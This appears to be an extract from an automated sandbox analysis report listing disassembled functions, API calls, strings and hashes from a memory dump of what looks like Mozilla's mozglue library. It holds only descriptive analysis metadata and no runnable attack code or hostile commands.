
API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: b62eadedda93f12d7350d20c7b8a0ca21aaf3459ce0b164b6c5a7f5ce2da00d3
Instruction ID: ef147ff4bab763e0160a9e65ec33a098a5eaeee896a386d8de5966fcce08546d
Opcode Fuzzy Hash: b62eadedda93f12d7350d20c7b8a0ca21aaf3459ce0b164b6c5a7f5ce2da00d3
Instruction Fuzzy Hash: 28A17C706183849FC715CF24C490BAEBBF2BF88308F45495DE98A87761DB70E949CB92

Function 6CE0B700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL(000000FF,00000000,00000000,?,0000001C,6CDDFE3F), ref: 6CE0B720
RtlNtStatusToDosError.NTDLL ref: 6CE0B75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,00000000,00000000,?,?,00000000,?,6CDDFE3F), ref: 6CE0B760

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: 09dc9d04c26e7d606c4b1751cd667debc971d8d4bafdc8cb1c3e9dbf3a61f2c7
Instruction ID: bbee41f5daad9bb75666a4dd16627a636f078186a9dcdc316f697c57d237f666
Opcode Fuzzy Hash: 09dc9d04c26e7d606c4b1751cd667debc971d8d4bafdc8cb1c3e9dbf3a61f2c7
Instruction Fuzzy Hash: 9BF0D171F44308AADF049AA08C80BEE73B8EB0432EF241239D101A56C0C77499A8C6A0

Function 6CE0B8C0 Relevance: 3.1, APIs: 2, Instructions: 118nativeCOMMON

Download Yara Rule

APIs

rand_s.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6CDB03D4,?), ref: 6CE0B955
NtQueryVirtualMemory.NTDLL(00000000,?,00000000,?,0000001C,0000001C), ref: 6CE0B9A5

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: MemoryQueryVirtualrand_s
String ID:
API String ID: 1889792194-0
Opcode ID: 2cb1607d679553f998fa3f4a5e942318328d5d4f359eb86429fef65588d22454
Instruction ID: a2be234fe63392549c3f23e474e6b6fd88fbe0876d5cdb4d3de990f082fce6ec
Opcode Fuzzy Hash: 2cb1607d679553f998fa3f4a5e942318328d5d4f359eb86429fef65588d22454
Instruction Fuzzy Hash: 4C41A371F012199FDF04CFA9D881ADEB7BAFF88318F24812AE415A7754DB30A8558BD0

Function 6CDADFE0 Relevance: 1.9, Strings: 1, Instructions: 683COMMON

Download Yara Rule

Strings

WN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXAR, xrefs: 6CDAE68D, 6CDAE6D8

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID:
String ID: WN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXAR
API String ID: 0-4197491586
Opcode ID: ed2244fd1559357b07d27f62700a0535a3853e1c5ce447579e26acc3d571f411
Instruction ID: f8e55848d3e4017815409474be3b96ed72637395b05e21774756a2d78cf54ab8
Opcode Fuzzy Hash: ed2244fd1559357b07d27f62700a0535a3853e1c5ce447579e26acc3d571f411
Instruction Fuzzy Hash: 3942A172A187508BD308CE7CC49135AF3E2BFC9354F194B2DE999A7BA0D734D9528B81

Function 6CE1AC00 Relevance: 1.7, Strings: 1, Instructions: 445COMMON

Download Yara Rule

Strings

WN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXAR, xrefs: 6CE1B024, 6CE1B0F1

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID:
String ID: WN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXAR
API String ID: 0-4197491586
Opcode ID: 7a796f3a8391e1b0c7f034d97175134326cf31b70ba07e76a8cf90b09367ef3f
Instruction ID: 525cd34510d225bca06dc3cba1fcb0defe6e10a5e0add2602d260c2d1ab137b8
Opcode Fuzzy Hash: 7a796f3a8391e1b0c7f034d97175134326cf31b70ba07e76a8cf90b09367ef3f
Instruction Fuzzy Hash: 9BF11771A4C7458FD700CE28C8917BAB7F2AFC631CF258A1DE4D487B81E77498998792

Function 6CDE5C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6CDB4A63,?,?), ref: 6CDE5F06

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 848c937f6c2807437b1a320425009ec484c335cd37859f784df13c159d99daee
Instruction ID: 8d7697230a152490b746fc6ac0f39867b0035978f953a7dc719b98360bddb6c8
Opcode Fuzzy Hash: 848c937f6c2807437b1a320425009ec484c335cd37859f784df13c159d99daee
Instruction Fuzzy Hash: 36C1C275E01209CBCB04CF99C5906EEBBF2FF8A358F28415DD8556BB55E732A806CB90

Function 6CE176E3 Relevance: .5, Instructions: 540COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: b2e5ef827dc46edf9deeb58cb4378a336f923be99645e4bb71b489d2cf25265c
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: 9B322A71E046198FCB14CF98C890AADFBF2FF89308F648169C549A7B45D731A996CF90

Function 6CE16E63 Relevance: .5, Instructions: 498COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: f118d42c193ff11ff19eb4dddc0e8ef7134d1344a5cb483d613dc8bd50811335
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: 84220871E042198FCB14CF98C880A9DF7F6FF89308F6581A9C949A7B45D730A996CF90

Function 6CDD0512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 4eb036c10e2980fe400aac91c38a383ae9ea0ce44a9a7ce93dd68c79d602fd0c
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: 2C22F271E006198FCB14CF98C890AADFBB2FF88314F558699D44AA7715D731B986CF90

Function 6CDAC670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: 64feadef808ce8dd93f0cf4b52d8c6aeb9eb5329f8efd5edebb0bacfc85d53b0
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: 92A1A271F0021A8FDB08DEA9C8913AEB7F2AFC8364F188129D915E77A1D7355C068BD0

Function 6CDE7710 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: d0126af67b1569296cc82e2d04e142576107579eada89836438c7e444fe44beb
Instruction ID: 57a2f00467e399c62bee251df33c42c4a1635e64c3a0c9d9ff89ab7106d5600a
Opcode Fuzzy Hash: d0126af67b1569296cc82e2d04e142576107579eada89836438c7e444fe44beb
Instruction Fuzzy Hash: 73719C75E01219DFCB48DFA9C8906EDBBB2FF88314F25812ED415AB751D731A905CB90

Function 6CDE58E0 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: 157b062e7ea5787f47422704f448da8e0c78f7a5b1b2c61254a2f4941acf1b4e
Instruction ID: b5ebd993195ca390aa38c189e486baa5c8ab2981d1f1dfc2b8681f7f3638d088
Opcode Fuzzy Hash: 157b062e7ea5787f47422704f448da8e0c78f7a5b1b2c61254a2f4941acf1b4e
Instruction Fuzzy Hash: C7817C75E012199FCB04CFA8D880AEEFBF2FF89354F644269D411AB751E731A945CBA0

Function 6CDECC00 Relevance: 75.2, APIs: 25, Strings: 25, Instructions: 233stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6CDB582D), ref: 6CDECC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6CDB582D), ref: 6CDECC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6CE1FE98,?,?,?,?,?,6CDB582D), ref: 6CDECC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6CDB582D), ref: 6CDECC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6CDB582D), ref: 6CDECC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6CDB582D), ref: 6CDECC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6CDB582D), ref: 6CDECCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6CDECCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6CDECCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6CDECCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6CDECCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6CDECD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6CDECD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6CDECD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6CDECDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6CDECDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6CDECDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6CDECDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6CDECE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6CDECE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6CDECE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6CDECE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6CDECE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6CDECE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6CDECE8A

Strings

processcpu, xrefs: 6CDECE6E
screenshots, xrefs: 6CDECCD4
samplingallthreads, xrefs: 6CDECE2C
unregisteredthreads, xrefs: 6CDECE58
mainthreadio, xrefs: 6CDECC7C
cpuallthreads, xrefs: 6CDECE16
fileio, xrefs: 6CDECC92
noiostacks, xrefs: 6CDECCBE
power, xrefs: 6CDECE84
Unrecognized feature "%s"., xrefs: 6CDECEA0
default, xrefs: 6CDECC21
stackwalk, xrefs: 6CDECCF8
java, xrefs: 6CDECC37
nativeallocations, xrefs: 6CDECDA8
jsallocations, xrefs: 6CDECD0E
markersallthreads, xrefs: 6CDECE42
notimerresolutionchange, xrefs: 6CDECE00
fileioall, xrefs: 6CDECCA8
ipcmessages, xrefs: 6CDECDBE
preferencereads, xrefs: 6CDECD92
nostacksampling, xrefs: 6CDECD7C
leaf, xrefs: 6CDECC66
audiocallbacktracing, xrefs: 6CDECDD4
N.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARw, xrefs: 6CDECF27
seqstyle, xrefs: 6CDECCE6

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$N.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARw$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2651432316
Opcode ID: 176512094d07e4e06cec721f306454560da50e9a6dcfb5d84d27e9d90df92179
Instruction ID: d352c390ea003eefc4213882e4cc64097badbdb785341adb48aabc95da66584c
Opcode Fuzzy Hash: 176512094d07e4e06cec721f306454560da50e9a6dcfb5d84d27e9d90df92179
Instruction Fuzzy Hash: B451CBD1B0A26551FA0433151C21BEA1C65EFDB24AF30103EED49E1E90FF0AD63A45B7

Function 6CDB47C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6CDB4801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CDB4817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CDB482D
__Init_thread_footer.LIBCMT ref: 6CDB484A

Part of subcall function 6CDDAB3F: EnterCriticalSection.KERNEL32(6CE2E370,?,?,6CDA3527,6CE2F6CC,?,?,?,?,?,?,?,?,6CDA3284), ref: 6CDDAB49
Part of subcall function 6CDDAB3F: LeaveCriticalSection.KERNEL32(6CE2E370,?,6CDA3527,6CE2F6CC,?,?,?,?,?,?,?,?,6CDA3284,?,?,6CDC56F6), ref: 6CDDAB7C

GetCurrentThreadId.KERNEL32 ref: 6CDB485F
GetCurrentThreadId.KERNEL32 ref: 6CDB487E
AcquireSRWLockExclusive.KERNEL32(6CE2F4B8), ref: 6CDB488B
free.MOZGLUE(?), ref: 6CDB493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CDB4956
free.MOZGLUE(00000000), ref: 6CDB4960
ReleaseSRWLockExclusive.KERNEL32(6CE2F4B8), ref: 6CDB499A

Part of subcall function 6CDDAB89: EnterCriticalSection.KERNEL32(6CE2E370,?,?,?,6CDA34DE,6CE2F6CC,?,?,?,?,?,?,?,6CDA3284), ref: 6CDDAB94
Part of subcall function 6CDDAB89: LeaveCriticalSection.KERNEL32(6CE2E370,?,6CDA34DE,6CE2F6CC,?,?,?,?,?,?,?,6CDA3284,?,?,6CDC56F6), ref: 6CDDABD1

free.MOZGLUE(?), ref: 6CDB49C6
free.MOZGLUE(?), ref: 6CDB49E9

Part of subcall function 6CDC5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CDC5EDB
Part of subcall function 6CDC5E90: memset.VCRUNTIME140(ewl,000000E5,?), ref: 6CDC5F27
Part of subcall function 6CDC5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CDC5FB2

Strings

MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CDB47FC
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CDB4828
[I %d/%d] profiler_shutdown, xrefs: 6CDB4A06
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CDB4812
MOZ_PROFILER_SHUTDOWN, xrefs: 6CDB4A42

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: 374af627ff61a42eb4cf73a4ad37a8482976b2951ecbc53ed3277d367e58330a
Instruction ID: 6c89b8ed8fd1e71e31f7b34d3764bfb90fad87691d192b330fcb87141d8f1812
Opcode Fuzzy Hash: 374af627ff61a42eb4cf73a4ad37a8482976b2951ecbc53ed3277d367e58330a
Instruction Fuzzy Hash: E68115B0E00110CBEB10DF68C884B5A7779BF4232CF140629D917B7B61E739E945CBAA

Function 6CDB4470 Relevance: 45.7, APIs: 20, Strings: 6, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CDB4730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6CDB44B2,6CE2E21C,6CE2F7F8), ref: 6CDB473E
Part of subcall function 6CDB4730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6CDB474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6CDB44BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6CDB44D2
InitOnceExecuteOnce.KERNEL32(6CE2F80C,6CDAF240,?,?), ref: 6CDB451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CDB455C
LoadLibraryW.KERNEL32(?), ref: 6CDB4592
InitializeCriticalSection.KERNEL32(6CE2F770), ref: 6CDB45A2
moz_xmalloc.MOZGLUE(00000008), ref: 6CDB45AA
moz_xmalloc.MOZGLUE(00000018), ref: 6CDB45BB
InitOnceExecuteOnce.KERNEL32(6CE2F818,6CDAF240,?,?), ref: 6CDB4612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6CDB4636
LoadLibraryW.KERNEL32(user32.dll), ref: 6CDB4644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6CDB466D
VerSetConditionMask.NTDLL ref: 6CDB469F
VerSetConditionMask.NTDLL ref: 6CDB46AB
VerSetConditionMask.NTDLL ref: 6CDB46B2
VerSetConditionMask.NTDLL ref: 6CDB46B9
VerSetConditionMask.NTDLL ref: 6CDB46C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6CDB46CD
GetModuleHandleW.KERNEL32(00000000), ref: 6CDB46F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6CDB46FD

Strings

NativeNtBlockSet_Write, xrefs: 6CDB46F7
l, xrefs: 6CDB4578
Gl, xrefs: 6CDB44FC
user32.dll, xrefs: 6CDB4557, 6CDB463F
WRusr.dll, xrefs: 6CDB44B5
kernel32.dll, xrefs: 6CDB44CD

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

